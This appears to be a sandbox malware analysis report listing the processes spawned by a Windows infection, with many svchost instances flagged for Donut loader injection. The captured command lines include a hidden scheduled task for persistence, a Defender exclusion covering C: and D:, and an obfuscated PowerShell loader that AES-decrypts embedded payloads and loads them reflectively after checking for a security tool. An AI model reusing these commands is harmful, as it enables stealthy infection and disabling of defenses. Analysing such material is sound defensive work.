Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000023.00000002.3952681085.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000023.00000002.3950430675.0000000000B60000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000023.00000000.2707901628.0000000000B60000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	16:54:25
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TabletInputService
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000024.00000002.3950928863.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000024.00000002.3953090366.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000024.00000000.2710605344.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	16:54:26
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000025.00000000.2716581161.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000025.00000002.3949685611.0000000000D10000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000025.00000002.3949201379.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	16:54:26
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe"
Imagebase:	0x2a0000
File size:	4'470'272 bytes
MD5 hash:	B5ABF47A49656B3B5899E1ECA32C73BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:54:26
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000027.00000002.3949106672.0000000000CF0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000027.00000000.2722890872.0000000000CF0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000027.00000002.3949410091.0000000000D20000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	16:54:27
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000028.00000000.2727187192.0000000000F80000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000028.00000002.3950537654.0000000000F80000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000028.00000002.3952929525.0000000000FB0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	16:54:27
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 9294' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Network9294Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Imagebase:	0x670000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:54:27
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	16:54:29
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002B.00000002.3949944520.0000000000390000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002B.00000000.2748613644.0000000000390000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002B.00000002.3950780718.00000000003C0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	16:54:30
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002C.00000002.3950183505.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002C.00000000.2753933388.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002C.00000002.3951635304.0000000000E00000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	16:54:31
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002D.00000002.3951463621.0000000000280000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002D.00000002.3950119021.0000000000250000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002D.00000000.2764105412.0000000000250000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	16:54:31
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002E.00000000.2765891846.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002E.00000002.3949234425.0000000000D10000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002E.00000002.3949104288.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	16:54:31
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s NcdAutoSetup
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002F.00000002.3949693249.0000000000310000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002F.00000000.2769315370.0000000000310000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000002F.00000002.3950179741.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	16:54:31
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000030.00000000.2772382736.0000000000860000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000030.00000002.3949552387.0000000000890000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000030.00000002.3949194748.0000000000860000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	16:54:32
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000031.00000002.3950440710.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000031.00000002.3952729365.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000031.00000000.2774799935.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	16:54:32
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000032.00000002.3950745908.0000000000680000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000032.00000000.2778949645.0000000000680000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000032.00000002.3952970949.00000000006B0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	16:54:32
Start date:	30/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Imagebase:	0x7ff7ed940000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	16:54:32
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	16:54:32
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000035.00000002.3949957788.0000000000540000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000035.00000000.2782456836.0000000000540000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000035.00000002.3950934873.0000000000570000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	16:54:35
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000036.00000000.2805153901.0000000000B00000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000036.00000002.3951450143.0000000000B30000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000036.00000002.3950762365.0000000000B00000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	16:54:35
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000037.00000002.3950182926.0000000000C00000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000037.00000002.3949693545.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000037.00000000.2811666069.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	16:54:36
Start date:	30/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000038.00000000.2820880841.0000000000E80000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000038.00000002.3949197044.0000000000E80000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000038.00000002.3949553181.0000000000EB0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	16:54:36
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	16:54:36
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	16:54:37
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	16:54:37
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	61
Start time:	16:54:37
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Roaming\Network9294Man.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); "
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	16:54:37
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Imagebase:	0x670000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	16:54:38
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Imagebase:	0x670000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	16:54:39
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe"
Imagebase:	0xf00000
File size:	4'429'312 bytes
MD5 hash:	078FB89D17811746084F23019F031364
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	16:54:44
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Imagebase:	0x670000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	16:54:44
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	16:54:51
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Roaming\Network9294Man')
Imagebase:	0x670000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	16:54:51
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CB335A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBF688,00001000), ref: 6CB335D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB335E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CB335FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB3363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB3369F
__aulldiv.LIBCMT ref: 6CB336E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CB33773
EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB3377E
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB337BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CB337C4
EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB337CB
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB33801
__aulldiv.LIBCMT ref: 6CB33883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CB33902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CB33918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CB3394C

Strings

QPC, xrefs: 6CB338FC
AuthcAMDenti, xrefs: 6CB33946
MOZ_TIMESTAMP_MODE, xrefs: 6CB335DB
GTC, xrefs: 6CB33912
GenuntelineI, xrefs: 6CB33639

Memory Dump Source

Source File: 00000000.00000002.2082687482.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2082656492.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
